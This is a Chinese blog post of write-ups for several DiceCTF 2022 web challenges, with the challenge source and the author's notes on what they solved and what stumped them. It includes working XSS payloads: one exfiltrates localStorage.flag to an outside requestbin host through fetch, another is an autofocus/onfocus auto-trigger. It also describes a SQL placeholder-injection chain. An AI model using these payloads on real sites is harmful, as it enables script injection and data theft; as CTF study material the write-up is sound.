0%

DiceCTF2022究极坐牢

DiceCTF2022究极坐牢

太难了,我直接坐牢

十个web复现都不知道要复现到什么时候
当然,赛时被300解的最简单web爆杀,第二天勉强看了下题等wp了
为什么我这么垃圾呢

说起来他们的web题目都挺短小精悍的,我看的几个题代码都不长,真是tql

(看完几个wp之后感觉都不是特别特别难。。。但是knock-knock这个题看了一个下午我就麻了。。呜呜,早知道快速切换看题了)

knock-knock

这个题被300+的人秒杀,但是我看了一个下午也完全没想出来哪里有问题,这个题已经在我脑内实现了完美逻辑防御

const crypto = require('crypto');

class Database {
    constructor() {
        this.notes = [];
        this.secret = `secret-${crypto.randomUUID}`;
    }

    createNote({ data }) {
        const id = this.notes.length;
        this.notes.push(data);
        return {
            id,
            token: this.generateToken(id),
        };
    }

    getNote({ id, token }) {
        if (token !== this.generateToken(id)) return { error: 'invalid token' };
        if (id >= this.notes.length) return { error: 'note not found' };
        return { data: this.notes[id] };
    }

    generateToken(id) {
        return crypto
            .createHmac('sha256', this.secret)
            .update(id.toString())
            .digest('hex');
    }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
    const data = req.body.data ?? 'no data provided.';
    const { id, token } = db.createNote({ data: data.toString() });
    res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
    const { id, token } = req.query;
    const note = db.getNote({
        id: parseInt(id ?? '-1'),
        token: (token ?? '').toString(),
    });
    if (note.error) {
        res.send(note.error);
    } else {
        res.send(note.data);
    }
});

app.listen(3000, () => {
    console.log('listening on port 3000');
});

大意就是可以输入内容,然后会给一个id和对应签出来的token。只有当id和token对应的时候才能读取内容,id为0的内容对应flag

第一反应是尝试构造一个ID,使用已知的token通过检验,但在访问时因为特殊处理访问到0。但代码中先将id进行了parseInt操作再传入,且无后续操作。不存在先操作再parse之类的经典垃圾代码。虽然在签token的时候使用了toString,但对于parseInt必定返回一个int或NaN,这两个值在toString的时候也不会存在奇怪的表现。似乎无法攻击
第二个想法是能不能在签token的时候直接给他整爆掉就不用考虑什么secret了,但是传进去的id是个数字再toString,怎么整的爆呢。
然后考虑在createNote的时候直接生成一个id,因为const id = this.notes.length,如果可以直接使用类似原型链污染的形式控制notes的length属性,就可以直接签发一个危险的id,但这里查看用户输入,根本没有类似类型的交互流程,虽然有一瞬间想起来之前RWCTF的requests.files的污染,但这里完全没有这种类型的威胁。且该题目为共用环境,若存在这种漏洞的话一个人打通剩下人就都通了,不太可能。

然后又想了半天能不能构造,发现先parseInt再传入简直无敌防御,不会了

说起来这个crypto.randomUUID在我本地是个函数来着,但是这里却直接是以属性的形式访问的,但直接以属性值访问的时候就undefined了。一开始还以为这里就是这个题的垃圾代码所在地。但是直接把secret那里改成undefined自己签一个token上去,并打不通。可能是远端有着奇异的配置?

等wping

wp

。。。还真就是这个东西,但这里的randomUUID并不是undefined,而是函数源码,这和node的版本有关,题目给出了dockerfile,他的node版本会返回函数源码,可能是我的node比较老,返回的是undefined。所以还是一个定值,自己签一个token就行了。。。

啊啊啊啊啊啊啊啊啊啊啊,我好垃圾

blazingfast

这个又是一个没见过的全新技术,大概就是能把C代码编译成奇怪的插件给前端用。

let blazingfast = null;

function mock(str) {
    blazingfast.init(str.length);

    if (str.length >= 1000) return 'Too long!';

    for (let c of str.toUpperCase()) {
        if (c.charCodeAt(0) > 128) return 'Nice try.';
        blazingfast.write(c.charCodeAt(0));
    }

    if (blazingfast.mock() == 1) {
        return 'No XSS for you!';
    } else {
        let mocking = '', buf = blazingfast.read();

        while(buf != 0) {
            mocking += String.fromCharCode(buf);
            buf = blazingfast.read();
        }

        return mocking;
    }
}

function demo(str) {
    document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {    
    blazingfast = instance.exports;

    document.getElementById('demo-submit').onclick = () => {
        demo(document.getElementById('demo').value);
    }

    let query = new URLSearchParams(window.location.search).get('demo');

    if (query) {
        document.getElementById('demo').value = query;
        demo(query);
    }
})
int length, ptr = 0;
char buf[1000];

void init(int size) {
    length = size;
    ptr = 0;
}

char read() {
    return buf[ptr++];
}

void write(char c) {
    buf[ptr++] = c;
}

int mock() {
    for (int i = 0; i < length; i ++) {
        if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) { buf[i] +="32;" } if (buf[i]="=" '<' || '>' || buf[i] == '&' || buf[i] == '"') {
            return 1;
        }
    }

    ptr = 0;

    return 0;
}

这里究极过滤了两个尖括号,但是我的输入点又在标签之外,直接不会

这里先把所有内容toUpperCase,然后还检查了charCodeAt都不大于128,最后才进这个C逻辑。感觉过了上面这两步之后又是一个无敌防御了。。。呜呜
这个题的解数也还可观,不知道怎么打的

wp

这里还是有一个垃圾代码,当时可能是被web1打蒙了,已经失去意识了,没看出来

在js处的mock函数中,先使用了str.length来记录字符串的长度,再对string进行了toUpperCase,而对于某些玄幻的Unicode,toUpperCase会导致一个字符变成两个字符,从而延长了整个字符串的长度。(用toLocaleUpperCase也许会更加正确的处理Unicode?)而在写入时使用的是for (let c of str.toUpperCase(),写入的数量与init处设定的length无关,且由于toUpperCase的扩展写入了更长的字符串。而在C的mock处只使用init时设定的length对xss内容进行检测。也就意味着写入的字符串由于toUpperCase扩展出的额外长度不会被检测,而在读取时也并未使用设定的length进行读取,导致了完美的逃逸
写了个破烂来找一些toUpperCase扩展的字符

for(let i=0; i<65536;i++){
    let c = String.fromCharCode(i)
    if(c.length < c.toUpperCase().length){
        console.log(c, c.toUpperCase(), c.toUpperCase().length)
    }
}

用这个类似贝塔ß的符号可以一个字符toUpperCase成SS,不过这里还是有一个小小的问题,即使过了xss的检测,传入的字符还是全都toUpperCase了,js的函数是区分大小写的,这样子就打不动了。但是标签和属性名称似乎不区分大小写,那么写一个全大写的img标签,再把onerror里面的字符串使用实体编码绕过大小写限制即可(这里是直接看wp得到的答案。。。)

然后写一个简单payload从localStorage中取出flag发出即可,这里有几个简单的小坑,实体编码的形式是&#xx;&#都需要url编码。然后题目是https的环境,直接nc端口发http会因为mix content被禁止发出。所以我把我的远古requestbin又翻出来用了。不过应该也能通过直接改window.location之类的方法外带出来吧

rubbish code

a = "fetch(\"https://requestbin.z3ratu1.cn/?\"+localStorage.flag)"
b = ''.join("&#"+str(ord(c))+";" for c in a)
c = "<img src=\"1\" onerror=\"{}\">".format(b)
d = "ß"*len(c)+c.replace("&", "%26").replace("#", "%23")
print(d)

这里还有一个大师魔改了jsfuck来编写全大写payload(jsfuck的长度太长会超过一千字符的限制)
dctf22-blazingfast

复现成功呜呜
dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

no-cookies

这个有点麻,不用cookie的身份认证就是无论进行什么操作都要重新输一遍密码
并且我感觉还是很究极
XSS在后端过滤了尖括号,前端使用这个函数渲染页面

(() => {
    const validate = (text) => {
      return /^[^$']+$/.test(text ?? '');
    }

    const promptValid = (text) => {
      let result = prompt(text) ?? '';
      return validate(result) ? result : promptValid(text);
    }

    const username = promptValid('Username:');
    const password = promptValid('Password:');

    const params = new URLSearchParams(window.location.search);

    (async () => {
      const { note, mode, views } = await (await fetch('/view', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({
          username,
          password,
          id: params.get('id')
        })
      })).json();

      if (!note) {
        alert('Invalid username, password, or note id');
        window.location = '/';
        return;
      }

      let text = note;
      if (mode === 'markdown') {
        text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
          return `<a href="${p2}">${p1}</a>`;
        });
        text = text.replace(/#\s*([^\n]+)/g, (match, p1) => {
          return `<h1>${p1}</h1>`;
        });
        text = text.replace(/\*\*([^\n]+)\*\*/g, (match, p1) => {
          return `<strong>${p1}</strong>`;
        });
        text = text.replace(/\*([^\n]+)\*/g, (match, p1) => {
          return `<em>${p1}</em>`;
        });
      }

      document.querySelector('.note').innerHTML = text;
      document.querySelector('.views').innerText = views;
    })();
  })();

主要看最后那点的渲染,在mode是markdown的时候有几个选项
在过滤了尖括号的情况下感觉只有href能用,但href这里因为正则匹配时链接内容处匹配到右括号就结束了,又加了一层没有右括号的限制

简单搜索和调试之后找到了不用括号的href xss方法

{"username":"a","password":"b","note":"[aa](javascript:document.head.innerHTML+= `\u005cx3cimg src='1' onerror='alert\u005cx281\u005cx29'\u005cx3e`;)","mode":"markdown"}

这里json传数据,单个\直接传过去会报错,所以整了个\u005c,再用反引号当引号把数据括起来。不然会导致奇怪的引号范围解析(好像这里用HTML escape的那个&#xx;也行

这样子就能在点击a标签后进行xss了。但问题在于bot好像不会去点这个标签。。。那咋整呢。好像没有什么a标签自动触发的xss啊

翻到了一个a标签自动触发的payload
<a href="1" onfocus="alert(1)" autofocus tabindex="1"></a>

再看一眼bot.js,flag是admin账号的密码。但这里因为没有cookie,所以是进行任何操作的时候都输一遍账户密码,而密码也只是在页面运行的时候塞进了那个匿名函数的局部变量中。而我们的payload插入成功后这个匿名函数都执行结束了,可爱的flag也随着匿名函数一起消亡了。我觉得唯一的可能就是去翻内存找?但是我感觉再次调用函数就会把原来的栈覆盖。怎么办呢

wp

还没蹲到官方wp,只看到discord里面的讨论,让我一个菜狗去看英语究极简化口语简直是折磨。。。
看到的一个链接是这个MDN的文档
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input
再看了其他人的wp, 我总算是理解了,在前端代码中出现了令人困惑的内容

    const validate = (text) => {
      return /^[^$']+$/.test(text ?? '');
    }

    const promptValid = (text) => {
      let result = prompt(text) ?? '';
      return validate(result) ? result : promptValid(text);
    }

    const username = promptValid('Username:');
    const password = promptValid('Password:');

这里对用户名和密码启用了非常奇怪的验证,而根据上述文档的描述,RegExp.input变量保留了最后一个匹配正则表达式的内容,在登录之后直接控制台输入RegExp.input就能直接获取到密码(因为先匹配用户名再匹配密码)。似乎配合a标签的xss就能打了,但在a标签的渲染这里还是有一个问题

      if (mode === 'markdown') {
        text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
          return `<a href="${p2}">${p1}</a>`;
        });

只要选用了markdown这个选项,就会创建一个新的正则表达式去匹配,从而覆盖掉我们的input中的password项

此时需要从后端代码中寻找突破口。我一开始就发现了后端代码里的一个怪东西

  prepare: (query, params) => {
    if (params)
      for (const [key, value] of Object.entries(params)) {
        const clean = value.replace(/['$]/g, '');
        query = query.replaceAll(`:${key}`, `'${clean}'`);
      }
    return query;
  },s
  get: (query, params) => {
    const prepared = db.prepare(query, params);
    try {
      return database.prepare(prepared).get();
    } catch {}
  },

你这prepare这么写的?虽然说去掉单引号确实有点无敌防御,但也不太完全吧。。。以及这种库肯定自己实现了prepare,然后你先过一遍自己的prepare,再过一遍第三方库的prepare,必有问题(但是实际做题的时候人已经麻了,失去思考能力)

  db.run('INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)', {
    id,
    username,
    note: note.replace(/[<>]/g, ''),
    mode,
  });

而note是这样子插入数据库的,这个防御保证了note的内容不能有尖括号,防御XSS,但这里有一个问题,prepare那里没有过滤冒号,而替换是一轮一轮转的,可控的点有username note和mode三项。如果令username为:note)--,而note为'1', :mode, 1, 0,最后在mode处输入XSS的payload,几轮替换下来就会发生如下情形

INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)
INSERT INTO notes VALUES (:id, :note)--, :note, :mode, 0)
INSERT INTO notes VALUES (:id, '1', :mode, 1, 0)--, '1', :mode, 1, 0 :mode, 0)
INSERT INTO notes VALUES (:id, '1', payload, 1, 0)

即可绕过限制引入尖括号,在plaintext情况下实现XSS,并利用RegExp.input完成利用

看的这篇wp
Write up for DiceCTF 2022: nocookies

carrot

看起来很像xs leak的一个题

@app.route('/tasks')
def tasks():
    if 'username' not in session:
        return redirect('/')

    tasks = db.get(session['username'])['tasks']

    if 'search' in request.args:
        search = request.args['search']
        tasks = list(filter(lambda task: search in task['content'], tasks))

    tasks = list(sorted(tasks, key=lambda task: -task['priority']))

    return render_template('tasks.html', tasks=tasks)

但是完全找不到leak的点,search处看起来就像leak,但这里刚好一无所有,其他的没法leak的点却各种应答不同状态码。本来想着能不能想办法把环境弄炸返回不同状态码,比如SQL注入,但这里是先查询在for x in x匹配的,输入没有查库的环节,并且for in这个语句也不支持正则,redos什么的也没机会

太难了吧,我太垃圾了吧

没有wp。躺平躺平

大半个月过去了还是没有wp,躺了。不过这里看到了一个很强的师傅的博客,记录了可能的做法。说实话这个xs leak的要求有点高了

然后这篇wp提到还有一个misc题,难度也很大。知识点很新颖,顺便一起学习一下。对node的各种玄幻特性不甚了解
膜一下
我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識

undefined

这个题就是把一堆属性全都赋值成了undefined之后再给一个eval,放在misc分类里导致我根本就没看到这个题

还是简单记录一下看到的wp和学到的东西,这个题的一个解法是直接使用import("")而不是import ''。。。这我真不知道还有区别,以及我一直都是用的前者。。。

然后是第二个解,比较高级,提到了node实际上将最外层的语句也打包成了一个函数(是不是变相解释了为什么不能在最外层用await?)
Why does a module level return statement work in Node.js?

然后可以通过argument.callee.caller等方式访问函数进行绕过

在解释node是如何打包函数的时候,看到了这么段代码。

NativeModule.wrap = function(script) {
  return NativeModule.wrapper[0] + script + NativeModule.wrapper[1];
};

NativeModule.wrapper = [
  '(function (exports, require, module, __filename, __dirname) { ',
  '\n});'
];

可以通过arguments访问到函数的参数列表,那么我直接写一个console.log(arguments),就能获取到这里的exports,require等一系列对象,非常成功
但是就从这个代码片段来看,这个函数的构造是简单的拼接,你要这么直接拼接我可就来劲了,马上写个垃圾trytry

console.log(111);
return;
}

{ console.log(222);

理论上也能完整的拼出来一个代码,实际上却被发现了,显然不会犯这么低级的错误。可以根据报错去GitHub翻源码简单看看

SyntaxError: Unexpected token '}'
    at Object.compileFunction (node:vm:352:18)
    at wrapSafe (node:internal/modules/cjs/loader:1032:15)
    at Module._compile (node:internal/modules/cjs/loader:1067:27)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1155:10)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:77:12)
    at node:internal/main/run_main_module:17:47

lib/vm.js#compileFunction
然后就找不到是哪验证的了。。。。太垃圾了,猜是那个_compileFunction,但是找不到这个函数定义在哪
最开头有引入的位置

const {
  ContextifyScript,
  MicrotaskQueue,
  makeContext,
  isContext: _isContext,
  constants,
  compileFunction: _compileFunction,
  measureMemory: _measureMemory,
} = internalBinding('contextify');

这个函数名字感觉可能已经到究极底层C实现环节了吗?不知道怎么搞了,躺了
然后这个师傅还有一篇讲js函数的文章,有些东西是值得学习的
覺得 JavaScript function 很有趣的我是不是很奇怪

参考链接

部分官方wp(这里面好几个究极题的wp。。。)
dicectf_2022_writeups